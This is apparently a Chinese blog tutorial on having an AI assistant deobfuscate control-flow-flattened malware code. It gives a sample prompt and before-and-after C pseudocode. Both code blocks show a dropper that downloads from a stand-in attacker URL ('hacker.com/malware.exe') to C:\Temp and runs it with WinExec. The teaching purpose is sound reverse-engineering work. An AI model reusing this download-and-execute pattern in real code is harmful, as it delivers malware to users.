各位坚持不懈的安全研究员们,大家好!🕵️♂️
在分析恶意软件时,有时会遇到极其复杂的代码,让人不禁想:“写这段代码的人性格得多扭曲啊?”
代码不是从上到下按顺序执行,而是滥用GOTO语句,跳来跳去……就像缠绕的耳机线或一团拉面一样。🧶
我们称之为“意大利面条代码(Spaghetti Code)”,或专业术语“控制流平坦化(Control Flow Flattening)”的代码。
人类大脑喜欢线性(Linear)流程,但计算机喜欢跳转(Jump)。攻击者利用这一点来折磨分析师。
今天,我们将进行一次控制流去混淆(Deobfuscation)实践,让我们的AI助手“解开这团乱麻,按顺序整理好!” 🛠️

1. 什么是控制流平坦化(Control Flow Flattening)? 🤔
正常的程序通常按 [ A → B → C ] 的顺序执行。
但混淆工具会将其拆分成碎片,然后放入一个巨大的Switch语句中,打乱执行顺序。
- 正常: 执行A,然后B,然后C。
- 混淆:
- 设置状态变量 state = 1
- 开始while循环
- 如果state为1,执行A并将state改为3。
- 如果state为2,执行C并退出。
- 如果state为3,执行B并将state改为2。
最终执行顺序是A → B → C,但肉眼看代码时,它在1 → 3 → 2之间来回跳转,让人完全摸不着头脑。😵💫
2. [实践] 准备缠绕的代码 (Before) 🌪️
好了,这里有一段在实际恶意软件中常见的“Switch Dispatcher”模式代码。试着用眼睛跟着它走一遍。(你可能会感到头晕。)
C
// 🤮 混淆的意大利面条代码
void MaliciousFunction() {
int state = 10; // 初始状态
char* url = "";
char* file = "";
while (state != 99) { // 看起来像无限循环
switch(state) {
case 20:
// 执行文件
WinExec(file, 1);
state = 99; // 更改为退出状态
break;
case 10:
// 设置URL
url = "http://hacker.com/malware.exe";
state = 30; // 下一步去哪?
break;
case 40:
// 保存文件
WriteFile(file, downloaded_data);
state = 20; // 下一步去哪?
break;
case 30:
// 尝试下载
file = "C:\Temp\malware.exe";
Download(url, file);
if (CheckFileExists(file)) {
state = 40; // 成功则转到40
} else {
state = 99; // 失败则退出
}
break;
}
}
}
要分析这段代码,你需要先看case 10,然后state变成30,于是你向下寻找case 30,接着又向上寻找case 40…… 🎢 眼睛都转晕了。
3. 请求AI进行“线性代码(Linear Code)”转换 🗣️
现在,让我们请求AI按照“逻辑执行顺序”重新排列这段代码。这里重要的是明确指出“追踪状态变量(state)的流向”。
📝 提示 (Prompt)
[角色] 你是逆向工程专家。
>
[情况] 当前正在分析的C代码使用了“Control Flow Flattening(控制流平坦化)”技术进行混淆。它使用while循环和switch语句打乱了执行流。
>
[请求事项]
>
1. 追踪state变量的值变化,以了解代码实际的执行顺序。
2. 移除复杂的while-switch结构,并将其转换为从上到下流动的线性(Linear)形式的伪代码(Pseudocode)。
3. 不要使用goto语句,只用if-else和函数调用来整洁地组织。
>
[代码]
>
(粘贴上述混淆代码)
4. [结果] 检查捋直的代码 (After) ✨
AI追踪了state变量,并按顺序重新组合了打乱的片段。我们来看看结果?
C
// 😍 AI整理的线性代码 (去混淆)
void MaliciousFunction_Cleaned() {
// 1. [状态 10] 初始设置
char* url = "http://hacker.com/malware.exe";
// 2. [状态 30] 下载并设置文件路径
char* file = "C:\Temp\malware.exe";
Download(url, file);
// 3. [状态 30 的分支] 检查下载是否成功
if (CheckFileExists(file)) {
// 4. [状态 40] 保存文件 (成功时)
WriteFile(file, downloaded_data);
// 5. [状态 20] 执行文件
WinExec(file, 1);
} else {
// [状态 99] 失败时退出
return;
}
// [状态 99] 正常退出
return;
}
🔍 有哪些改进?
- 可读性提升100倍: while和switch消失了,代码从上到下阅读起来如行云流水。
- 流程理解:
- 设置URL (状态 10)
- 下载 (状态 30)
- 如果成功?保存 (状态 40) 并执行 (状态 20)
- 如果失败?退出 (状态 99)
- 识别恶意行为: 现在,我们终于可以一目了然地理解:“啊,这是一个下载并执行文件的投递器(Dropper)!”
- 寻找状态变量: 在这种混淆模式中,最重要的是找到充当“红绿灯”作用的变量(state, v1, flag等)。告诉AI“这个变量是红绿灯”,它会更好地解决问题。
- 复杂时分块处理: 有时case数量会超过100个。这时不要一次性全部输入,而是通过之前学过的“分块处理”方法,例如“请整理case 1-10的流程”,“请整理case 11-20的流程”这样分步进行。
- Opaque Predicate (不透明谓词): 有时会混入像 if (3 * 3 == 9) 这样总是为真但假装是条件语句的代码。请额外请求AI“也移除总是为真/假的虚假条件语句”。
5. 实践小贴士及注意事项 🍯
🎉 总结
今天,我们借助AI的力量,将像意大利面条一样缠绕的代码,像用筷子挑起拉面一样捋直了。🍜
这项技术不仅对恶意软件分析有用,对于分析他人编写的晦涩难懂的遗留代码也大有裨益。
现在,当你遇到复杂的switch语句时,不要害怕,只需大喊一声:“AI,帮我把这个排好队!”
下一次,我们将综合运用迄今为止学到的静态分析(Static Analysis)内容,展示AI自行编写分析报告的魔力。敬请期待!👋
发表回复